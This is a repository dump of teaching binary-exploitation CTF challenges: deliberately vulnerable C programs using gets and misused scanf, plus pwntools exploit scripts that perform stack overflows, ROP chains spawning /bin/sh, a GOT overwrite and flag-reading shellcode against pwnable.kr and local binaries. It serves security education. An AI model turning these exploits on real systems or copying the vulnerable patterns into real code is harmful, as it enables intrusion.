├── rop ├── rop │ ├── rop │ ├── rop.c │ └── exploit.py ├── leakRop │ ├── leakRop │ ├── leakRop.c │ └── exploit.py ├── makeLeak │ ├── makeLeak │ ├── makeLeak.c │ └── exploit.py └── README.md ├── stack ├── asm │ ├── asm │ ├── README.md │ ├── exploit.py │ └── asm.c └── bof │ ├── bof │ ├── README.md │ ├── bof.c │ └── exploit.py ├── heap ├── unlink │ ├── unlink │ ├── README.md │ ├── unlink.c │ └── exploit.py ├── cookbook │ ├── cookbook │ └── libc.so.6 ├── 0ctfbabyheap2018 │ ├── babyheap │ ├── babyheap2018.i64 │ ├── babyheap2018_skeleton.py │ └── exploit.py ├── tw2017parrot │ └── tw2017parrot ├── 0ctfbabyheap2017 │ ├── 0ctfbabyheap │ ├── 0ctfbabyheap.i64 │ ├── README.md │ ├── skeleton.py │ └── exploit.py ├── 0ctfbabyheap2017_aslr │ ├── 0ctfbabyheap │ ├── 0ctfbabyheap.i64 │ ├── README.md │ ├── skeleton.py │ └── exploit.py └── README.md ├── got └── passcode │ ├── passcode │ ├── README.md │ ├── passcode.c │ └── exploit.py ├── .gitignore └── README.md /rop/rop/rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/rop/rop/rop -------------------------------------------------------------------------------- /stack/asm/asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/stack/asm/asm -------------------------------------------------------------------------------- /stack/bof/bof: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/stack/bof/bof -------------------------------------------------------------------------------- /heap/unlink/unlink: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/unlink/unlink -------------------------------------------------------------------------------- /rop/leakRop/leakRop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/rop/leakRop/leakRop -------------------------------------------------------------------------------- /got/passcode/passcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/got/passcode/passcode -------------------------------------------------------------------------------- /heap/cookbook/cookbook: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/cookbook/cookbook -------------------------------------------------------------------------------- /heap/cookbook/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/cookbook/libc.so.6 -------------------------------------------------------------------------------- /rop/makeLeak/makeLeak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/rop/makeLeak/makeLeak -------------------------------------------------------------------------------- /heap/0ctfbabyheap2018/babyheap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/0ctfbabyheap2018/babyheap -------------------------------------------------------------------------------- /heap/tw2017parrot/tw2017parrot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/tw2017parrot/tw2017parrot -------------------------------------------------------------------------------- /stack/asm/README.md: -------------------------------------------------------------------------------- 1 | Mommy! I think I know how to make shellcodes 2 | 3 | ssh asm@pwnable.kr -p2222 (pw: guest) 4 | -------------------------------------------------------------------------------- /heap/unlink/README.md: -------------------------------------------------------------------------------- 1 | Daddy! how can I exploit unlink corruption? 2 | 3 | ssh unlink@pwnable.kr -p2222 (pw: guest) 4 | -------------------------------------------------------------------------------- /rop/README.md: -------------------------------------------------------------------------------- 1 | # chals 2 | rop --> leakRop --> makeLeak 3 | 4 | These challenges were taken from an RPISEC workshop. 5 | -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017/0ctfbabyheap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/0ctfbabyheap2017/0ctfbabyheap -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017/0ctfbabyheap.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/0ctfbabyheap2017/0ctfbabyheap.i64 -------------------------------------------------------------------------------- /heap/0ctfbabyheap2018/babyheap2018.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/0ctfbabyheap2018/babyheap2018.i64 -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017_aslr/0ctfbabyheap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/0ctfbabyheap2017_aslr/0ctfbabyheap -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017_aslr/0ctfbabyheap.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TechSecCTF/pwn_challs/HEAD/heap/0ctfbabyheap2017_aslr/0ctfbabyheap.i64 -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017_aslr/README.md: -------------------------------------------------------------------------------- 1 | Now, re-enable ASLR: 2 | 3 | ``` 4 | echo 2 | sudo tee /proc/sys/kernel/randomize_va_space 5 | ``` 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.id0 2 | *.id1 3 | *.id2 4 | *.nam 5 | *.til 6 | .gdb_history 7 | .ipynb_checkpoints/ 8 | core 9 | a.out 10 | .pwntools-cache/ 11 | .irssi/ 12 | *.dmp 13 | *.idb 14 | *.DS_Store 15 | -------------------------------------------------------------------------------- /got/passcode/README.md: -------------------------------------------------------------------------------- 1 | Mommy told me to make a passcode based login system. 2 | My initial C code was compiled without any error! 3 | Well, there was some compiler warning, but who cares about that? 4 | 5 | ssh passcode@pwnable.kr -p2222 (pw:guest) 6 | -------------------------------------------------------------------------------- /stack/bof/README.md: -------------------------------------------------------------------------------- 1 | Nana told me that buffer overflow is one of the most common software vulnerability. 2 | Is that true? 3 | 4 | Download : http://pwnable.kr/bin/bof 5 | Download : http://pwnable.kr/bin/bof.c 6 | 7 | Running at : nc pwnable.kr 9000 8 | -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017/README.md: -------------------------------------------------------------------------------- 1 | This challenge is from 0ctf Quals 2017. Make sure you have ASLR disabled for part 1: 2 | 3 | ``` 4 | echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 5 | ``` 6 | 7 | We've provided you with a pwntools skeleton file and an IDA database. 8 | -------------------------------------------------------------------------------- /stack/bof/bof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | void func(int key){ 5 | char overflowme[32]; 6 | printf("overflow me : "); 7 | gets(overflowme); // smash me! 8 | if(key == 0xcafebabe){ 9 | system("/bin/sh"); 10 | } 11 | else{ 12 | printf("Nah..\n"); 13 | } 14 | } 15 | int main(int argc, char* argv[]){ 16 | func(0xdeadbeef); 17 | return 0; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /rop/leakRop/leakRop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | char name[32]; 7 | puts("Welcome to the No Security Aggregate"); 8 | puts("Please sign in with your name."); 9 | printf("By the way, I found this on the floor, is it yours? %p\n", **(int**)*(puts+2)); 10 | gets(name); 11 | printf("Please take a seat, we'll be with you at some point this week.\n"); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /rop/makeLeak/makeLeak.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | char name[32]; 7 | puts("Welcome to the No Security Aggregate"); 8 | puts("Please sign in with your name."); 9 | puts("You tricked us last time with that planted pointer...we won't get fooled again."); 10 | gets(name); 11 | puts("Please take a seat, we'll be with you at some point this week."); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /stack/bof/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # bof 4 | host = 'pwnable.kr' 5 | port = 9000 6 | 7 | # Notes 8 | # * One line shell script solution: 9 | # `(python -c "import base64; print 'a'*52+'\xbe\xba\xfe\xca'" ; cat -) | nc pwnable.kr 9000` 10 | 11 | def attack(): 12 | r = remote(host, port) 13 | r.send('A' * 52 + p32(0xcafebabe)) 14 | r.interactive() 15 | 16 | if __name__ == '__main__': 17 | attack() 18 | 19 | -------------------------------------------------------------------------------- /rop/rop/rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | char name[32]; 7 | puts("Welcome to the No Security Aggregate"); 8 | puts("We've recently revamped security."); 9 | puts("There are no win functions, no rwx segments, we're unexploitable! Take that! get un-1337ed you arrogant hacker scum!"); 10 | puts("I dare you, try and call /bin/sh"); 11 | printf("Please sign in with your name: "); 12 | gets(name); 13 | puts("Please take a seat, we'll be with you at some point this week."); 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /heap/README.md: -------------------------------------------------------------------------------- 1 | # heap 2 | 3 | Start with `unlink`, which doesn't actually involve the real heap, but is useful for the purpose of thinking about heap vulnerabilities. 4 | 5 | The two most important challenges pedagogically are the two versions 0ctfbabyheap2017, one with ASLR off and one with it on. Definitely attempt both of these without looking at the solution. 6 | 7 | 0ctfbabyheap2018 adds a couple of complications, but can be skipped. You might want to read the provided exploit however, as it uses a different technique than the one given in 0ctfbabyheap2017. 8 | -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017/skeleton.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./0ctfbabyheap") 4 | if len(sys.argv) > 1 and sys.argv[1] == 'gdb': 5 | gdb.attach(r, """set disassembly-flavor intel 6 | b main 7 | """) 8 | 9 | def alloc(size): 10 | r.sendline('1') 11 | r.sendlineafter(': ', str(size)) 12 | print r.recvuntil(': ', timeout=1) 13 | 14 | def fill(idx, data): 15 | r.sendline('2') 16 | r.sendlineafter(': ', str(idx)) 17 | r.sendlineafter(': ', str(len(data))) 18 | r.sendafter(': ', data) 19 | r.recvuntil(': ') 20 | 21 | def free(idx): 22 | r.sendline('3') 23 | r.sendlineafter(': ', str(idx)) 24 | r.recvuntil(': ') 25 | 26 | def dump(idx): 27 | r.sendline('4') 28 | r.sendlineafter(': ', str(idx)) 29 | r.recvuntil(': \n') 30 | data = r.recvline() 31 | r.recvuntil(': ') 32 | return data 33 | -------------------------------------------------------------------------------- /heap/0ctfbabyheap2017_aslr/skeleton.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./0ctfbabyheap") 4 | if len(sys.argv) > 1 and sys.argv[1] == 'gdb': 5 | gdb.attach(r, """set disassembly-flavor intel 6 | b main 7 | """) 8 | 9 | def alloc(size): 10 | r.sendline('1') 11 | r.sendlineafter(': ', str(size)) 12 | print r.recvuntil(': ', timeout=1) 13 | 14 | def fill(idx, data): 15 | r.sendline('2') 16 | r.sendlineafter(': ', str(idx)) 17 | r.sendlineafter(': ', str(len(data))) 18 | r.sendafter(': ', data) 19 | r.recvuntil(': ') 20 | 21 | def free(idx): 22 | r.sendline('3') 23 | r.sendlineafter(': ', str(idx)) 24 | r.recvuntil(': ') 25 | 26 | def dump(idx): 27 | r.sendline('4') 28 | r.sendlineafter(': ', str(idx)) 29 | r.recvuntil(': \n') 30 | data = r.recvline() 31 | r.recvuntil(': ') 32 | return data 33 | -------------------------------------------------------------------------------- /heap/unlink/unlink.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | typedef struct tagOBJ{ 5 | struct tagOBJ* fd; 6 | struct tagOBJ* bk; 7 | char buf[8]; 8 | }OBJ; 9 | 10 | void shell(){ 11 | system("/bin/sh"); 12 | } 13 | 14 | void unlink(OBJ* P){ 15 | OBJ* BK; 16 | OBJ* FD; 17 | BK=P->bk; 18 | FD=P->fd; 19 | FD->bk=BK; 20 | BK->fd=FD; 21 | } 22 | int main(int argc, char* argv[]){ 23 | malloc(1024); 24 | OBJ* A = (OBJ*)malloc(sizeof(OBJ)); 25 | OBJ* B = (OBJ*)malloc(sizeof(OBJ)); 26 | OBJ* C = (OBJ*)malloc(sizeof(OBJ)); 27 | 28 | // double linked list: A <-> B <-> C 29 | A->fd = B; 30 | B->bk = A; 31 | B->fd = C; 32 | C->bk = B; 33 | 34 | printf("here is stack address leak: %p\n", &A); 35 | printf("here is heap address leak: %p\n", A); 36 | printf("now that you have leaks, get shell!\n"); 37 | // heap overflow! 38 | gets(A->buf); 39 | 40 | // exploit this unlink! 41 | unlink(B); 42 | return 0; 43 | } 44 | 45 | -------------------------------------------------------------------------------- /got/passcode/passcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void login(){ 5 | int passcode1; 6 | int passcode2; 7 | 8 | printf("enter passcode1 : "); 9 | scanf("%d", passcode1); 10 | fflush(stdin); 11 | 12 | // ha! mommy told me that 32bit is vulnerable to bruteforcing :) 13 | printf("enter passcode2 : "); 14 | scanf("%d", passcode2); 15 | 16 | printf("checking...\n"); 17 | if(passcode1==338150 && passcode2==13371337){ 18 | printf("Login OK!\n"); 19 | system("/bin/cat flag"); 20 | } 21 | else{ 22 | printf("Login Failed!\n"); 23 | exit(0); 24 | } 25 | } 26 | 27 | void welcome(){ 28 | char name[100]; 29 | printf("enter you name : "); 30 | scanf("%100s", name); 31 | printf("Welcome %s!\n", name); 32 | } 33 | 34 | int main(){ 35 | printf("Toddler's Secure Login System 1.0 beta.\n"); 36 | 37 | welcome(); 38 | login(); 39 | 40 | // something after login... 41 | printf("Now I can safely trust you that you have credential :)\n"); 42 | return 0; 43 | } 44 | 45 | -------------------------------------------------------------------------------- /heap/0ctfbabyheap2018/babyheap2018_skeleton.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.log_level= 'debug' 4 | context.terminal = ['tmux', 'splitw', '-h'] 5 | 6 | p = process("./babyheap") 7 | if len(sys.argv) > 1 and sys.argv[1] == 'gdb': 8 | gdb.attach(p, """ 9 | set disassembly-flavor intel 10 | """) 11 | # b *(0x555555554000 + 0x119b) 12 | # b *(0x555555554000 + 0xe88) 13 | # b *(0x555555554000 + 0xfa9) 14 | # b *(0x555555554000 + 0xd54) 15 | # b *(0x555555554000 + 0x10C2) 16 | 17 | def alloc(size): 18 | p.recvuntil("Command: ") 19 | p.sendline("1") 20 | p.sendline(str(size)) 21 | 22 | def update(idx, size, content): 23 | p.recvuntil("Command: ") 24 | p.sendline("2") 25 | p.sendline(str(idx)) 26 | p.sendline(str(size)) 27 | p.sendline(content) 28 | 29 | def delete(idx): 30 | p.recvuntil("Command: ") 31 | p.sendline("3") 32 | p.sendline(str(idx)) 33 | 34 | def view(index): 35 | p.readuntil("Command: ") 36 | p.sendline("4") 37 | p.readuntil("Index: ") 38 | p.sendline(str(index)) 39 | p.readuntil("Chunk[" + str(index) + "]: ") 40 | content = p.readline() 41 | return content 42 | -------------------------------------------------------------------------------- /stack/asm/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # asm 4 | host = 'pwnable.kr' 5 | user = 'asm' 6 | password = 'guest' 7 | port = 2222 8 | 9 | filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong' 10 | 11 | # Notes 12 | # * you can't do `mov rdi, rip` for _reasons_, but 13 | # `lea rdi, [rip]` does what we want 14 | 15 | def attack(): 16 | s = ssh(host=host, user=user, password=password, port=port) 17 | p = s.process(['nc', '0', '9026']) 18 | print p.recv() 19 | context.update(arch='amd64', os='linux') 20 | shellcode = '' 21 | shellcode += asm('lea rdi, [rip]') # get current inst. pointer 22 | shellcode += asm('add rdi, 51') # offset it to point to our filename below 23 | shellcode += asm('mov rax, 2') # syscall number for open() 24 | shellcode += asm('syscall') # open("this_is...", 0) 25 | shellcode += asm('mov rsi, rdi') # write to the buffer with our filename 26 | shellcode += asm('mov rdi, rax') # read from returned file desc. from open() 27 | shellcode += asm('mov rdx, 30') # read 30 bytes of data 28 | shellcode += asm('mov rax, 0') # syscall number for read() 29 | shellcode += asm('syscall') # read(fd, buf, 30) 30 | shellcode += asm('mov rax, 1') # stdout is 1 31 | shellcode += asm('mov rdi, 1') # syscall number for write 32 | shellcode += asm('syscall') # write(STDOUT, buf, 30) 33 | shellcode += filename + '\x00' # our buffer, which initially has filename 34 | p.send(shellcode) # ended with a null byte 35 | print p.recv() 36 | 37 | if __name__ == '__main__': 38 | attack() 39 | 40 | -------------------------------------------------------------------------------- /rop/leakRop/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # Notes 4 | # * This binary uses shared libraries instead of static libraries like `rop` 5 | # * Read up on shared libraries: https://github.com/TechSecCTF/CTF-pwn-tips/wiki/Shared-Libraries 6 | # * Once again, use ROPGadget to find the gadgets 7 | # * `ROPGadget --binary /lib/i386-linux-gnu/libc.so.6 > rop_gadgets` 8 | # * grep around in `rop_gadgets` for `int 0x80`, `pop e[abcd]x` 9 | # * Use pwntools to find `/bin/sh` and `puts` (this can also be done manually, see the wiki) 10 | # 11 | # Our stack looks like: 12 | # 13 | # | AAAA . | 14 | # | AAAA . | 15 | # | AAAA . | 16 | # | AAAA (buffer) | 17 | # +----------------+ 18 | # | BBBB (old ebp) | 19 | # +----------------+ 20 | # | ret1 (popexx) | 21 | # +----------------+ 22 | # | 0 (edx) | 23 | # +----------------+ 24 | # | 0 (ecx) | 25 | # +----------------+ 26 | # | /bin/sh (ebx) | 27 | # +----------------+ 28 | # | ret2 (popeax) | 29 | # +----------------+ 30 | # | 0xb (eax) | 31 | # +----------------+ 32 | # | syscall | 33 | # ------------------ 34 | 35 | libc = ELF("/lib/i386-linux-gnu/libc.so.6") 36 | puts = libc.symbols['puts'] 37 | binsh = next(libc.search("/bin/sh")) 38 | 39 | syscall = 0x0002e725 40 | popeax = 0x0002470f 41 | popexx = 0x000fb8e1 42 | 43 | 44 | r = process('./leakRop') 45 | r.recvline() 46 | r.recvline() 47 | x = r.recvline() 48 | 49 | realputs = int(x[x.index('0x') + 2 :], 16) 50 | offset = realputs - puts 51 | 52 | binsh += offset 53 | syscall += offset 54 | popeax += offset 55 | popexx += offset 56 | 57 | ropchain = "A" * 32 + "B" * 4 + p32(popexx) + p32(0) + p32(0) + p32(binsh) + p32(popeax) + p32(0xb) + p32(syscall) 58 | 59 | r.sendline(ropchain) 60 | r.interactive() 61 | -------------------------------------------------------------------------------- /got/passcode/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # passcode 4 | host = 'pwnable.kr' 5 | user = 'passcode' 6 | password = 'guest' 7 | port = 2222 8 | 9 | # Notes 10 | # * The program uses `scanf("%d", passcode1)` instead of 11 | # `scanf("%d", &passcode1)`. 12 | # * It will try to write the inputted value to whatever `passcode1`'s 13 | # initial value is, which is determined by whatever is on the stack at the 14 | # start of `login`. 15 | # * Because of the `welcome` function, the stack contains the string that we 16 | # entered (our "name"), so we can control where `scanf` writes to 17 | # * We also control what scanf writes, (by definition), so we have a 18 | # write-what-where vulnerabilty. 19 | # * The binary has NX and partial RELRO, but not PIE. The server has full ASLR 20 | # * Since we don't have a memory leak, we can't predict where return addresses 21 | # are, so we'll have to use a different type of exploit. 22 | # * A good choice (maybe the only choice) is a GOT overwrite. See link for 23 | # background reading: 24 | # https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html 25 | # * The GOT address for `printf` is 0x0804a000. We'll overwrite it with 26 | # 0x80485e3, which will take us to `system("/bin/cat flag");` in `login`. 27 | # * I originally targeted `scanf` instead of `printf`, but `scanf`'s GOT 28 | # entry is at 0x0804a020. This address contains the byte 0x20, which is a 29 | # space in ASCII, which prevents `scanf` from reading the rest of the bytes. 30 | 31 | def attack(): 32 | s = ssh(host=host, user=user, password=password, port=port) 33 | p = s.process('./passcode') 34 | print p.recvline() 35 | p.sendline("A" * (100 - 4) + p32(0x0804a000)) 36 | print p.recvline() 37 | p.sendline(str(0x80485e3)) 38 | 39 | print p.recvall() 40 | 41 | if __name__ == '__main__': 42 | attack() 43 | 44 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TechSec's Pwn Challenges 2 | 3 | a panoply of pwn problems for pedagogical purposes 4 | 5 | Suggested order of completion: 6 | 7 | * `stack` (Stack-based buffer overflows, shellcoding) 8 | * `bof` [pwnable.kr] 9 | * `asm` [pwnable.kr] 10 | * Suggested reading: 11 | * https://github.com/TechSecCTF/meeting_notes/tree/master/Fall2017/11-06-17_stack_smashing 12 | * http://insecure.org/stf/smashstack.html 13 | * Tooling: 14 | * [gdb](https://www.gnu.org/software/gdb/) 15 | * [pwntools](https://github.com/Gallopsled/pwntools) 16 | * `rop` (Return-oriented programming, memory leaks) 17 | * `rop` [RPISEC] 18 | * `leakRop` [RPISEC] 19 | * `makeLeak` [RPISEC] 20 | * Suggested reading: 21 | * http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html 22 | * https://github.com/TechSecCTF/CTF-pwn-tips/wiki/Shared-Libraries 23 | * https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html 24 | * Tooling: 25 | * [pwndbg](https://github.com/pwndbg/pwndbg) 26 | * [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) 27 | * `got` (Global Offset Table overwrites) 28 | * `passcode` [pwnable.kr] 29 | * Suggested reading: 30 | * http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html 31 | * https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html 32 | * `heap` (Heap vulnerabilities) 33 | * `unlink` [pwnable.kr] 34 | * `0ctfbabyheap2017` [how2heap/0ctf] 35 | * `0ctfbabyheap2017_aslr` [how2heap/0ctf] 36 | * `0ctfbabyheap2018` [0ctf, optional] 37 | * `tw2017parrot` [Tokyo Westerns] 38 | * Suggested reading: 39 | * https://heap-exploitation.dhavalkapil.com/ 40 | * https://github.com/TechSecCTF/CTF-pwn-tips/wiki/Heap 41 | * Tooling: 42 | * [voltron](https://github.com/snare/voltron) 43 | * [angelheap](https://github.com/scwuaptx/Pwngdb/tree/master/angelheap) 44 | -------------------------------------------------------------------------------- /stack/asm/asm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define LENGTH 128 11 | 12 | void sandbox(){ 13 | scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); 14 | if (ctx == NULL) { 15 | printf("seccomp error\n"); 16 | exit(0); 17 | } 18 | 19 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); 20 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); 21 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); 22 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); 23 | seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); 24 | 25 | if (seccomp_load(ctx) < 0){ 26 | seccomp_release(ctx); 27 | printf("seccomp error\n"); 28 | exit(0); 29 | } 30 | seccomp_release(ctx); 31 | } 32 | 33 | char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; 34 | unsigned char filter[256]; 35 | int main(int argc, char* argv[]){ 36 | 37 | setvbuf(stdout, 0, _IONBF, 0); 38 | setvbuf(stdin, 0, _IOLBF, 0); 39 | 40 | printf("Welcome to shellcoding practice challenge.\n"); 41 | printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); 42 | printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); 43 | printf("If this does not challenge you. you should play 'asg' challenge :)\n"); 44 | 45 | char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); 46 | memset(sh, 0x90, 0x1000); 47 | memcpy(sh, stub, strlen(stub)); 48 | 49 | int offset = sizeof(stub); 50 | printf("give me your x64 shellcode: "); 51 | read(0, sh+offset, 1000); 52 | 53 | alarm(10); 54 | chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp 55 | sandbox(); 56 | ((void (*)(void))sh)(); 57 | return 0; 58 | } 59 | 60 | -------------------------------------------------------------------------------- /rop/rop/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # Notes 4 | # * Use [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) 5 | # * `ROPGadget --binary rop > rop_gadgets` 6 | # * grep around in `rop_gadgets` for `int 0x80`, `pop e[abcd]x` 7 | # * `ROPGadget --binary rop --string "/bin/sh"` 8 | # * Our goal is to make the syscall `execve` with the argument `/bin/sh` 9 | # * This is 32-bit x86, so the calling convention is as follows: 10 | # * syscalls are the assembly instruction `int 0x80` 11 | # * the syscall number (0xb for `execve`) is passed in `eax` 12 | # * arguments are passed via registers in the order `ebx, ecx, edx, esi, edi` 13 | # * we need `ebx` to point to `/bin/sh` and we need `ecx` and `edx` to be 0 14 | # * To set our registers we look for ROP gadgets that pop registers off 15 | # the stack and then return. We can then add the appropriate values on 16 | # the stack which will then get popped off and set. 17 | # * The following exploit uses two such gadgets. One, which we call `popeax` 18 | # executes: `pop eax ; ret`. The other, which we call `popexx` executes: 19 | # `pop edx ; pop ecx ; pop ebx; ret`. 20 | # 21 | # Our stack looks like: 22 | # 23 | # | AAAA . | 24 | # | AAAA . | 25 | # | AAAA . | 26 | # | AAAA (buffer) | 27 | # +----------------+ 28 | # | BBBB (old ebp) | 29 | # +----------------+ 30 | # | ret1 (popexx) | 31 | # +----------------+ 32 | # | 0 (edx) | 33 | # +----------------+ 34 | # | 0 (ecx) | 35 | # +----------------+ 36 | # | /bin/sh (ebx) | 37 | # +----------------+ 38 | # | ret2 (popeax) | 39 | # +----------------+ 40 | # | 0xb (eax) | 41 | # +----------------+ 42 | # | syscall | 43 | # ------------------ 44 | 45 | syscall = 0x0806d905 46 | popeax = 0x080b9236 47 | popexx = 0x0806fd50 48 | binsh = 0x080bc6a5 49 | 50 | ropchain = "A" * 32 + "B" * 4 + p32(popexx) + p32(0) + p32(0) + p32(binsh) + p32(popeax) + p32(0xb) + p32(syscall) 51 | 52 | r = process('./rop') 53 | r.sendline(ropchain) 54 | r.interactive() 55 | -------------------------------------------------------------------------------- /rop/makeLeak/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # Notes 4 | # * We need to leak a libc address; without one, all we can do is a return-to-text attack. 5 | # * We can call `puts` (via the PLT) using the GOT index of `puts` as the argument. This will 6 | # result in `puts` spitting out the address of `puts` in libc. 7 | # * Once we have our leaked address, we return back to the start of `main` to execute the 8 | # vulnerable `gets` again. We use the same rop-chain from leakRop to get our shell. 9 | # * If you keep very careful track of all the pushes and pops, you can establish that the 10 | # address for `puts` in the GOT must go 8 bytes below the overwritten return value to 11 | # function as an argument. 12 | # * The return value to `main` must go in between the two. 13 | # * Background on PLT/GOT: https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html 14 | # 15 | # After we call `gets` the first time our stack looks like: 16 | # 17 | # | AAAA . | 18 | # | AAAA . | 19 | # | AAAA . | 20 | # | AAAA (buffer) | 21 | # +----------------+ 22 | # | BBBB (old ebp) | 23 | # +----------------+ 24 | # | plt_puts | 25 | # +----------------+ 26 | # | main | 27 | # +----------------+ 28 | # | got_puts | 29 | # ------------------ 30 | # 31 | # After we call `gets` the second time our stack looks like: 32 | # 33 | # | AAAA . | 34 | # | AAAA . | 35 | # | AAAA . | 36 | # | AAAA (buffer) | 37 | # +----------------+ 38 | # | BBBB (old ebp) | 39 | # +----------------+ 40 | # | ret1 (popexx) | 41 | # +----------------+ 42 | # | 0 (edx) | 43 | # +----------------+ 44 | # | 0 (ecx) | 45 | # +----------------+ 46 | # | /bin/sh (ebx) | 47 | # +----------------+ 48 | # | ret2 (popeax) | 49 | # +----------------+ 50 | # | 0xb (eax) | 51 | # +----------------+ 52 | # | syscall | 53 | # ------------------ 54 | 55 | libc = ELF("/lib/i386-linux-gnu/libc.so.6") 56 | puts = libc.symbols['puts'] 57 | binsh = next(libc.search("/bin/sh")) 58 | 59 | syscall = 0x0002e725 60 | popeax = 0x0002470f 61 | popexx = 0x000fb8e1 62 | 63 | plt_puts = 0x8048310 64 | got_puts = 0x0804a010 65 | main = 0x8048436 66 | 67 | r = process('./makeLeak') 68 | 69 | ropchain1 = "A" * 32 + "B"*4 + p32(plt_puts) + p32(main) + p32(got_puts) 70 | r.sendline(ropchain1) 71 | 72 | x = r.recv() 73 | y = x.index('week.\n') 74 | realputs = u32(x[y + 6:y + 10]) 75 | offset = realputs - puts 76 | 77 | binsh += offset 78 | syscall += offset 79 | popeax += offset 80 | popexx += offset 81 | 82 | ropchain2 = "A" * 32 + "B" * 4 + p32(popexx) + p32(0) + p32(0) + p32(binsh) + p32(popeax) + p32(0xb) + p32(syscall) 83 | r.sendline(ropchain2) 84 | 85 | r.interactive() 86 | -------------------------------------------------------------------------------- /heap/unlink/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # unlink 4 | host = 'pwnable.kr' 5 | user = 'unlink' 6 | password = 'guest' 7 | port = 2222 8 | 9 | # Notes 10 | # * This is a classic "unlink" vulnerability. This vulnerability usually shows 11 | # up when you're about to malloc a free'd chunk in the middle of a free list. 12 | # * In this case, the challenge simulates this by constructing a doublly linked 